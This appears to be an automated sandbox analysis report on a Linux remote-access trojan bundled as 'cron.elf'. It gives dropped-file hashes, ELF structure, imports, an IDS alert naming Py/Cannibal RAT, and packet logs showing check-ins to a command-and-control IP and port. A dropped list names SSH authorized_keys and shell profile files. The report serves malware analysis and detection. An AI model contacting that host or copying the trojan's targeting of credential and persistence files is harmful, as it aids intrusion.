SHA-512:	B38F940D3F0C331C35923CC1958CDECAE46689BFB5C23C3E9FD36BB1BF0E46FA9B65407B99C8945F5964EFC8D696D3890874D6DCC196BC66F3D09A96C584014C
Malicious:	false
Preview:	.ELF..............>.............@.......`...........@.8...@......................................M.......M........ ..............[.......["......[".....`7......P?........ .............H.......H.".....H.".............................................................$.......$...............P.td.....(.......(.......(..............................Q.td....................................................R.td.....[.......["......[".....04......04..........................GNU.........p...............9... .......@.. ..@.@E... ........!..#.XF...8.............. `( .....9D.....!....h....A............@... .........@3........@ ......A6..!..$..............(.!@......@....@@.......D. .A. .PHs.. ................`(......A..@.......r. .(@... .B@A.................1E.%...*..9...:...................;...=...?...@.......B...C...E...F...G...H.......I...L...M...O...T...W...X.......Y...]..._...`...b...c...d.......g...h...o...p.......s...u.......v...w...x...{...\|.......}...........~...........................

/tmp/_MEIcXSYvg/libz.so.1

Download File

Process:	/tmp/cron.elf
File Type:	ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=ef3e006dfe3132a41d4d4dc0e407d6ea658e11c4, stripped
Category:	dropped
Size (bytes):	116960
Entropy (8bit):	6.36129421393797
Encrypted:	false
SSDEEP:	3072:a4EudJC0SHDKZDy73ai+PYCvTBfedlzaGRQ0:a45fZ9FBvTBGdlz/Q0
MD5:	65FD13EF7996608743284FC1210113F1
SHA1:	4531041627B2347E30BF12B5B55EB4D5F2C4946B
SHA-256:	219C6C0EFE93BD6D751BBA1E8AE84A162309C665CC5E36BEDDCF295B72F9BC09
SHA-512:	AB999E4675A8F1A63E2276AD677987360C76FE5031CB0825D04E0325DB4C3F4826D8C3BAB3AA4A6A3AA227EE415B1A0931A322C25685E267FC23785E5679A5A2
Malicious:	false
Preview:	.ELF..............>.............@...................@.8...@....................................................... .......................!.......!............. ......... .....................!......!.............................................................$.......$...............P.td....................................................Q.td....................................................R.td..............!.......!.....p.......p...........................GNU..>.m.12..MM.....e.......a................"@b....E..A.....................A.......l.. .....3@..d..B........ .......#.... ...... . .H!...../12.........!...... G..Q$..................................!..."...&...........'...)...*...........+...-...1...2.......4...............5...................6.......................7...9...........;...<...=...........>.......A...B...D...E...F...I...K...M.......N...........O...Q...R...T...U...V.......Y...Z...[...^..._.......`...c...f.......h...i.......j...k...l...m.......n...........o.......

/tmp/_MEIcXSYvg/pyexpat.so

Download File

Process:	/tmp/cron.elf
File Type:	ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=1fcab5ed75e10a3179769960716824a2e17cb3dd, stripped
Category:	dropped
Size (bytes):	73248
Entropy (8bit):	5.630287751200074
Encrypted:	false
SSDEEP:	768:ojRiGrrg2r8wz5gHIyp2ejeIxiuP5GtGIoqSLsH4SySGTimdAqZ:ojXFQwzOHmePiuP5IoqSdRzv
MD5:	D780394752000DA693CEABA97068ED10
SHA1:	684506B46A964B9D81269B5089D03C0B2C945A25
SHA-256:	4736B16DD137F99FE212845C69718E8130DFF795E5B3B9FCC523F2B1D8ADEF9F
SHA-512:	E40322A4A73D2602D28F263483FB0619D358C42749259E85B183BA40A42D5E3F3D1D39E4EB411936D47662D34E6DD32E6240E14332699DE401C2B3F8578097D4
Malicious:	false
Preview:	.ELF..............>......2......@...................@.8...@....................................................... ............. ....... . ..... . .....`.......P......... .............0.......0. .....0. .............................................................$.......$...............P.td....`.......`.......`...............................Q.td....................................................R.td.... ....... . ..... . .........................................GNU....u..1yv.`qh$..\|..........z............. .....z...{...\|.......}............m.eu......BE...qX.......\|........................N.......................................................................................................................%...............................................z...............................................................................................J................................................... ...................................................................................

/tmp/_MEIcXSYvg/readline.so

Download File

Process:	/tmp/cron.elf
File Type:	ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=c153df9ee2f261c40fe564523ef2832027b0a8eb, stripped
Category:	dropped
Size (bytes):	27168
Entropy (8bit):	4.291600490901987
Encrypted:	false
SSDEEP:	384:cuhhF2Efwa5u5Ld8p94aVfZks0I/VB6zoqOK:/5Ffbk5eL4aVZtB6kq
MD5:	4CBE6D4F8FAA484BAF5D23B7EB387E6C
SHA1:	FE1B31734DCB92AD10DC3499D3B8A235DEF07B36
SHA-256:	A34508A9515423940320A3EFCB3AE7CE64D56AC1DC49636B0E38F25E4C6F15B5
SHA-512:	6716664076D95FD2111732EC4A8B9ED31EF695888D9CD18237F503A3238C7C9E0AC20C722B1E286AF7A827843F119974376CA022FE12AE3F927F9E6FDEA7BFED
Malicious:	false
Preview:	.ELF..............>.....`(......@........c..........@.8...@.....................................dC......dC........ .............(M......(M .....(M .....X................. .............8M......8M .....8M .............................................................$.......$...............P.td....0<......0<......0<......d.......d...............Q.td....................................................R.td....(M......(M .....(M .........................................GNU..S...a...dR>. '...........`............. !..@.`...b...c...d....qX......p......BE...\|........................#.......................................................................w...............................................(.......................................................................v........................... ...........................................................................................m...............................................i.......................E.......................R.......

/tmp/_MEIcXSYvg/resource.so

Download File

Process:	/tmp/cron.elf
File Type:	ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=c69be48495f38778b2cf5753d7227d244f3de847, stripped
Category:	dropped
Size (bytes):	11136
Entropy (8bit):	4.119857143741366
Encrypted:	false
SSDEEP:	96:RkrAKMBWB6uvAEmDITAkMYMhh2Gky0KyttxLXzhLH75bzEharWQ8WYL2La+iVv+K:RmA78x4EmDITAnkyNyrFzzLHLpi
MD5:	CE76667F2BE8CCC34123E426FE40D0DD
SHA1:	C479DEA3D03C5567B619FCA8CF160A9DA7E03957
SHA-256:	5D6432652B75C8327097D4309C0CC4C5582EB15B6EEA120E4179003E1729C2F4
SHA-512:	064B64C7AA0D3D8ECC54F1B9B8231CC5C595A5390B5439B1D86C41CF045580DD8060476988C36524D0DE1EC27EBDAB26FCAA490E72B132CBD46CE72DB99413A4
Malicious:	false
Preview:	.ELF..............>..... .......@........%..........@.8...@....................................................... ....................... ....... ....................... ....................... ....... .............................................................$.......$...............P.td............................\.......\...............Q.td....................................................R.td.............. ....... .........................................GNU....x..WS."}$O=.G...................... ...`..................qX.....Ami.....BE...\|................................................S........................... ...........................................d...............................................................................................w...............................................1................................................... ...........................................D...............................................................................

/tmp/_MEIcXSYvg/termios.so

Download File

Process:	/tmp/cron.elf
File Type:	ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=8045f1e14355ca6e3ea401dd8e3a49d7142ab8a0, stripped
Category:	dropped
Size (bytes):	24672
Entropy (8bit):	3.8041908083868634
Encrypted:	false
SSDEEP:	384:HREZ3f5ZqJatVtWlpKZvomPPzJQsCDVYyGloeONA:HR037sabglpYv/tQsCDDGlGN
MD5:	AB39E9EB3406C564E55DFEBCB9BCF772
SHA1:	FF105F265AD1B222E38FD55975651E5BE93E33EB
SHA-256:	F412E3588EF0F8970EF1F779E38E923FADFDC8337E4387294417E2C6FEC32E66
SHA-512:	D7C98DDA2F40A6E598D1CE60AF0C9D868C34B6F1B8D2101BC36846DDF5B0BEDAAB431DDA37994D7614D859E9EBFBF93BFA0B6601365BB9108433EC906B78EAB7
Malicious:	false
Preview:	.ELF..............>......%......@........Y..........@.8...@......................................7.......7........ ..............=.......= ......= ....................... ..............>.......> ......> .............................................................$.......$...............P.td.....5.......5.......5......\.......\...............Q.td....................................................R.td.....=.......= ......= .........................................GNU..E..CU.n>...:I............%............. ...@.....%...&.......'...)......=V".....BE...qX.......\|............................ .......................+................................................... ...........................................................................................3...............................................................................................+.......................W.......................G...............................................;........................... ...........

/tmp/list.txt

Download File

Process:	/usr/bin/find
File Type:	ASCII text
Category:	dropped
Size (bytes):	121
Entropy (8bit):	4.262336415636784
Encrypted:	false
SSDEEP:	3:+MAXYIAvvKcNNAB6O4OMiaCWRxKTEK/KEuMQWTJDaCWRv:/AXovicNSB6yMiQGhXTJDw
MD5:	944A8CBBC5F564F33880F7D9578EAB00
SHA1:	F34EF2EE22D53E09C64502DCB4FF5A1AA8BFB5C3
SHA-256:	097BC186B30F289A0812AA9D0CDD4E0E3814E142C460D8615701B960129BE0A9
SHA-512:	B80459C39839C4E268A04D06FAC71F62C38D6A68AB4CF44F258256805A3AF75462367699BFE3CBC3EDD157DBADCF3912C3C7DD018D9101FB892BDEA25B15A539
Malicious:	false
Preview:	./.bashrc../.profile../.ssh/authorized_keys../.config/mimeapps.list../.viminfo../.local/share/applications/mimeapps.list.

Static File Info

General

File type:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=fdb92fd0de3892fc2176220c6694f8eee61d4fa3, stripped
Entropy (8bit):	7.993779381068544
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 49.77% ELF Executable and Linkable format (generic) (4004/1) 49.46% Lumena CEL bitmap (63/63) 0.78%
File name:	cron.elf
File size:	6'347'024 bytes
MD5:	0ee42b6d702553b4e87376859f4139bc
SHA1:	f01b9af23aac2cb9eb4b7c82642d15533ccf6db1
SHA256:	c12708e6829d7207b16a4fccf65ed05758c676cd70d3e9746c375f5d27bff501
SHA512:	ccfb0110cbfc26fbd2c48b479908ea6e044d8a606255360934d0dda6bb87ded1bca15efd1a892033e45c84582da57a9480db1463d5443f6f8c2325e74268fc01
SSDEEP:	196608:xlOAjUX/pUNpusLDfoL8bk9hmpl+yVVqiDT:yAoXCpuqMLeHqin
TLSH:	4B5633CAF87758F7CAEE21344DBDD52072A860B7B321C55966C292BA41186F77F1E0C8
File Content Preview:	.ELF..............>.....u.@.....@.........`.........@.8...@.............@.......@.@.....@.@...............................................@.......@...............................................@.......@......s.......s........ ..............s.......s`....

Static ELF Info

ELF header
Class:	ELF64
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Advanced Micro Devices X86-64
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x401a75
Flags:	0x0
ELF Header Size:	64
Program Header Offset:	64
Program Header Size:	56
Number of Program Headers:	8
Section Header Offset:	6345168
Section Header Size:	64
Number of Section Headers:	29
Header String Table Index:	28

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.interp	PROGBITS	0x400200	0x200	0x1c	0x0	0x2	A	0	0	1
.note.ABI-tag	NOTE	0x40021c	0x21c	0x20	0x0	0x2	A	0	0	4
.note.gnu.build-id	NOTE	0x40023c	0x23c	0x24	0x0	0x2	A	0	0	4
.gnu.hash	GNU_HASH	0x400260	0x260	0x30	0x0	0x2	A	5	0	8
.dynsym	DYNSYM	0x400290	0x290	0x798	0x18	0x2	A	6	1	8
.dynstr	STRTAB	0x400a28	0xa28	0x319	0x0	0x2	A	0	0	1
.gnu.version	VERSYM	0x400d42	0xd42	0xa2	0x2	0x2	A	5	0	2
.gnu.version_r	VERNEED	0x400de8	0xde8	0x60	0x0	0x2	A	6	2	8
.rela.dyn	RELA	0x400e48	0xe48	0x60	0x18	0x2	A	5	0	8
.rela.plt	RELA	0x400ea8	0xea8	0x6f0	0x18	0x42	AI	5	23	8
.init	PROGBITS	0x401598	0x1598	0x1a	0x0	0x6	AX	0	0	4
.plt	PROGBITS	0x4015c0	0x15c0	0x4b0	0x10	0x6	AX	0	0	16
.text	PROGBITS	0x401a70	0x1a70	0x3832	0x0	0x6	AX	0	0	16
.fini	PROGBITS	0x4052a4	0x52a4	0x9	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x4052c0	0x52c0	0x1160	0x0	0x2	A	0	0	32
.eh_frame_hdr	PROGBITS	0x406420	0x6420	0x254	0x0	0x2	A	0	0	4
.eh_frame	PROGBITS	0x406678	0x6678	0xd2c	0x0	0x2	A	0	0	8
.init_array	INIT_ARRAY	0x6073a8	0x73a8	0x8	0x8	0x3	WA	0	0	8
.fini_array	FINI_ARRAY	0x6073b0	0x73b0	0x8	0x8	0x3	WA	0	0	8
.jcr	PROGBITS	0x6073b8	0x73b8	0x8	0x0	0x3	WA	0	0	8
.dynamic	DYNAMIC	0x6073c0	0x73c0	0x1f0	0x10	0x3	WA	6	0	8
.got	PROGBITS	0x6075b0	0x75b0	0x8	0x8	0x3	WA	0	0	8
.got.plt	PROGBITS	0x6075b8	0x75b8	0x268	0x8	0x3	WA	0	0	8
.data	PROGBITS	0x607820	0x7820	0x10	0x0	0x3	WA	0	0	8
.bss	NOBITS	0x607840	0x7830	0x10328	0x0	0x3	WA	0	0	64
.comment	PROGBITS	0x0	0x7830	0x39	0x1	0x30	MS	0	0	1
pydata	PROGBITS	0x0	0x7869	0x605867	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x60d0d0	0xff	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Prog Interpreter	Section Mappings
PHDR	0x40	0x400040	0x400040	0x1c0	0x1c0	1.7105	0x5	R E	0x8
INTERP	0x200	0x400200	0x400200	0x1c	0x1c	3.9408	0x4	R	0x1	/lib64/ld-linux-x86-64.so.2	.interp
LOAD	0x0	0x400000	0x400000	0x73a4	0x73a4	5.8030	0x5	R E	0x200000		.interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
LOAD	0x73a8	0x6073a8	0x6073a8	0x488	0x107c0	2.1269	0x6	RW	0x200000		.init_array .fini_array .jcr .dynamic .got .got.plt .data .bss
DYNAMIC	0x73c0	0x6073c0	0x6073c0	0x1f0	0x1f0	1.5507	0x6	RW	0x8		.dynamic
NOTE	0x21c	0x40021c	0x40021c	0x44	0x44	3.5218	0x4	R	0x4		.note.ABI-tag .note.gnu.build-id
GNU_EH_FRAME	0x6420	0x406420	0x406420	0x254	0x254	4.4547	0x4	R	0x4		.eh_frame_hdr
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x10

Dynamic Tags

Type	Meta	Value	Tag
DT_NEEDED	sharedlib	libdl.so.2	0x1
DT_NEEDED	sharedlib	libz.so.1	0x1
DT_NEEDED	sharedlib	libc.so.6	0x1
DT_INIT	value	0x401598	0xc
DT_FINI	value	0x4052a4	0xd
DT_INIT_ARRAY	value	0x6073a8	0x19
DT_INIT_ARRAYSZ	bytes	8	0x1b
DT_FINI_ARRAY	value	0x6073b0	0x1a
DT_FINI_ARRAYSZ	bytes	8	0x1c
DT_GNU_HASH	value	0x400260	0x6ffffef5
DT_STRTAB	value	0x400a28	0x5
DT_SYMTAB	value	0x400290	0x6
DT_STRSZ	bytes	793	0xa
DT_SYMENT	bytes	24	0xb
DT_DEBUG	value	0x0	0x15
DT_PLTGOT	value	0x6075b8	0x3
DT_PLTRELSZ	bytes	1776	0x2
DT_PLTREL	pltrel	DT_RELA	0x14
DT_JMPREL	value	0x400ea8	0x17
DT_RELA	value	0x400e48	0x7
DT_RELASZ	bytes	96	0x8
DT_RELAENT	bytes	24	0x9
DT_VERNEED	value	0x400de8	0x6ffffffe
DT_VERNEEDNUM	value	2	0x6fffffff
DT_VERSYM	value	0x400d42	0x6ffffff0
DT_NULL	value	0x0	0x0

Symbols

Name	Version Info Name	Version Info File Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
			.dynsym	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
_ITM_deregisterTMCloneTable			.dynsym	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
_ITM_registerTMCloneTable			.dynsym	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
_Jv_RegisterClasses			.dynsym	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__fprintf_chk	GLIBC_2.3.4	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__gmon_start__			.dynsym	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__libc_start_main	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__snprintf_chk	GLIBC_2.3.4	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__stpcpy_chk	GLIBC_2.3.4	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__strcat_chk	GLIBC_2.3.4	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__strcpy_chk	GLIBC_2.3.4	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__strdup	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__strncat_chk	GLIBC_2.3.4	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__strncpy_chk	GLIBC_2.3.4	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__vfprintf_chk	GLIBC_2.3.4	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__vsnprintf_chk	GLIBC_2.3.4	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__xpg_basename	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__xstat	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
calloc	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
clearerr	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
closedir	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
dirname	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
dlerror	GLIBC_2.2.5	libdl.so.2	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
dlopen	GLIBC_2.2.5	libdl.so.2	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
dlsym	GLIBC_2.2.5	libdl.so.2	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
execvp	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fchmod	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fclose	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
feof	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
ferror	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fflush	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fileno	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fopen	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fork	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fread	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
free	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fseek	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
ftell	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fwrite	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getenv	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getpid	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
inflate			.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
inflateEnd			.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
inflateInit_			.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
kill	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
malloc	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
mbstowcs	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
memset	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
mkdir	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
mkdtemp	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
nl_langinfo	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
opendir	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
perror	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
raise	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
readdir	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
readlink	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
realpath	GLIBC_2.3	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
rmdir	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
setbuf	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
setenv	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
setlocale	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
signal	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
stderr	GLIBC_2.2.5	libc.so.6	.dynsym	0x607850	8	OBJECT	<unknown>	DEFAULT	25
stdin	GLIBC_2.2.5	libc.so.6	.dynsym	0x607848	8	OBJECT	<unknown>	DEFAULT	25
stdout	GLIBC_2.2.5	libc.so.6	.dynsym	0x607840	8	OBJECT	<unknown>	DEFAULT	25
stpcpy	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strcat	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strchr	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strcmp	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strcpy	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strlen	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strncat	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strncmp	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strncpy	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strnlen	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strtok	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
unlink	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
unsetenv	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
wait	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
wcsncpy	GLIBC_2.2.5	libc.so.6	.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF
zlibVersion			.dynsym	0x0	0	FUNC	<unknown>	DEFAULT	SHN_UNDEF

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-30T12:03:18.705520+0200	2829852	ETPRO MALWARE Py/Cannibal RAT Checkin M2	1	192.168.2.23	54596	157.173.198.190	15124	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 30, 2024 11:59:32.479826927 CEST	443	33606	54.171.230.55	192.168.2.23
Sep 30, 2024 11:59:32.479944944 CEST	33606	443	192.168.2.23	54.171.230.55
Sep 30, 2024 11:59:32.484893084 CEST	443	33606	54.171.230.55	192.168.2.23
Sep 30, 2024 11:59:33.886249065 CEST	43928	443	192.168.2.23	91.189.91.42
Sep 30, 2024 11:59:35.896809101 CEST	54556	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 11:59:35.901726007 CEST	15124	54556	157.173.198.190	192.168.2.23
Sep 30, 2024 11:59:35.901844025 CEST	54556	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 11:59:35.903156042 CEST	54556	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 11:59:35.908016920 CEST	15124	54556	157.173.198.190	192.168.2.23
Sep 30, 2024 11:59:37.351809978 CEST	15124	54556	157.173.198.190	192.168.2.23
Sep 30, 2024 11:59:37.352025032 CEST	54556	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 11:59:37.357595921 CEST	15124	54556	157.173.198.190	192.168.2.23
Sep 30, 2024 11:59:38.340810061 CEST	54558	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 11:59:38.346018076 CEST	15124	54558	157.173.198.190	192.168.2.23
Sep 30, 2024 11:59:38.346232891 CEST	54558	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 11:59:38.346888065 CEST	54558	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 11:59:38.351769924 CEST	15124	54558	157.173.198.190	192.168.2.23
Sep 30, 2024 11:59:39.261586905 CEST	42836	443	192.168.2.23	91.189.91.43
Sep 30, 2024 11:59:39.807512045 CEST	15124	54558	157.173.198.190	192.168.2.23
Sep 30, 2024 11:59:39.807871103 CEST	54558	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 11:59:39.812829018 CEST	15124	54558	157.173.198.190	192.168.2.23
Sep 30, 2024 11:59:40.797303915 CEST	42516	80	192.168.2.23	109.202.202.202
Sep 30, 2024 11:59:49.818428993 CEST	54560	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 11:59:49.823283911 CEST	15124	54560	157.173.198.190	192.168.2.23
Sep 30, 2024 11:59:49.823362112 CEST	54560	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 11:59:49.823805094 CEST	54560	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 11:59:49.828653097 CEST	15124	54560	157.173.198.190	192.168.2.23
Sep 30, 2024 11:59:51.275906086 CEST	15124	54560	157.173.198.190	192.168.2.23
Sep 30, 2024 11:59:51.276235104 CEST	54560	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 11:59:51.281060934 CEST	15124	54560	157.173.198.190	192.168.2.23
Sep 30, 2024 11:59:54.363543987 CEST	43928	443	192.168.2.23	91.189.91.42
Sep 30, 2024 12:00:01.285343885 CEST	54562	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:00:01.290304899 CEST	15124	54562	157.173.198.190	192.168.2.23
Sep 30, 2024 12:00:01.290400982 CEST	54562	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:00:01.291022062 CEST	54562	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:00:01.295830965 CEST	15124	54562	157.173.198.190	192.168.2.23
Sep 30, 2024 12:00:02.747013092 CEST	15124	54562	157.173.198.190	192.168.2.23
Sep 30, 2024 12:00:02.747335911 CEST	54562	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:00:02.752238989 CEST	15124	54562	157.173.198.190	192.168.2.23
Sep 30, 2024 12:00:06.649712086 CEST	42836	443	192.168.2.23	91.189.91.43
Sep 30, 2024 12:00:10.745250940 CEST	42516	80	192.168.2.23	109.202.202.202
Sep 30, 2024 12:00:12.758181095 CEST	54564	15124	192.168.2.23	157.173.198.190
Sep 30, 2024 12:00:12.763083935 CEST	15124	54564	157.173.198.190	192.168.2.23
